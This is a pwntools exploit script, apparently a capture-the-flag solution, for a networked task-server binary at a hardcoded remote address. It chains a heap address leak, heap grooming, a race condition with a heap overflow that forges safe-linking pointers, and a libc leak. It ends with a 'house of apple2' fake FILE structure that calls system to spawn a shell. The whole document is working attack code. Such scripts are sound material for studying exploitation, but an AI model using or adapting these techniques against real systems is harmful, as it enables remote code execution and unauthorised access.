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| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
debug = 1
file = './main_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
target = '60.205.163.215'
port = 13774
if debug:
p = process(file)
else:
p = remote(target, port)
io = p
def dbg(cmd = ''):
if debug:
gdb.attach(p, gdbscript = cmd)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))
def safe_linking(pos, ptr):
return (pos >> 12) ^ ptr
def transpld(payload):
return bytes([b ^ 0x3f for b in payload])
def sendpacket(packet):
data = b''
for key, val in packet.items():
data += key + b':' + val + b'\n'
s(data)
def register(name, pwd):
sendpacket({
b'command': b'register',
b'username': name.encode(),
b'password': pwd.encode()
})
def login(name, pwd):
sendpacket({
b'command': b'login',
b'username': name.encode(),
b'password': pwd.encode()
})
def submit_task(token, content):
sendpacket({
b'command': b'submit_task',
b'user_token': token,
b'task_content': transpld(content)
})
def deregister(token):
sendpacket({
b'command': b'deregister',
b'user_token': token
})
register('QwQ', 'QwQ') # leak heap
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
deregister(qwqtoken)
register('QwQ', 'QwQ')
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
heap = uu64(r(6)) - 0x4b0
leak('heap')
for i in range(13): # heap feng shui
register(str(i), str(i))
sendpacket({
b'command': b'login',
b'a': b'a' * 0x30,
b'b': b'a' * 0x30,
b'c': b'a' * 0x30,
b'd': b'a' * 0x30
})
register('OwO', 'OwO')
login('OwO', 'OwO')
ru(b'token:')
owotoken = r(32)
fake_heap = flat({ # race condition and heap overflow
0x8: 0x41,
0x10: safe_linking(heap + 0x1000, heap + 0x1460),
0x48: 0x31,
0x50: heap + 0x1640,
0x58: heap + 0x3f0,
0x60: heap + 0x1770,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x00'
submit_task(owotoken, b'A' * 0x30)
deregister(owotoken)
register('www', 'w' * 0x20)
login('www', 'w' * 0x20)
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)
login('www', 'w' * 0x20) # leak libc
ru(b'token:')
token = r(6)
libc.address = uu64(token) + 0x9c8
leak('libc.address')
target = libc.sym['stdout'] - 0x20
fake_heap = flat({ # race condition and heap overflow
0x8: 0x41,
0x48: 0x41,
0x50: safe_linking(heap + 0x1000, heap + 0x1420),
0x88: 0x31,
0x90: heap + 0x15f0,
0x98: heap + 0x1b60,
0xa0: heap + 0x1b80,
0xb0: target,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x31'
submit_task(token, b'A' * 0x30)
deregister(token)
register('mmm', 'mmm')
login('mmm', 'mmm')
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)
fake_io_base = heap + 0x1fe0 # house of apple2
fake_io = flat({
0x0: b' sh;',
0x8: 0,
0x20: 0,
0x68: libc.sym['system'],
0x88: fake_io_base,
0xA0: fake_io_base - 0x10, # __rdx__
0xD0: fake_io_base,
0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
}, filler=b"\x00")
submit_task(token, fake_io)
sleep(5)
sendpacket({ # tricker
b'a': b'a',
})
itr()
|
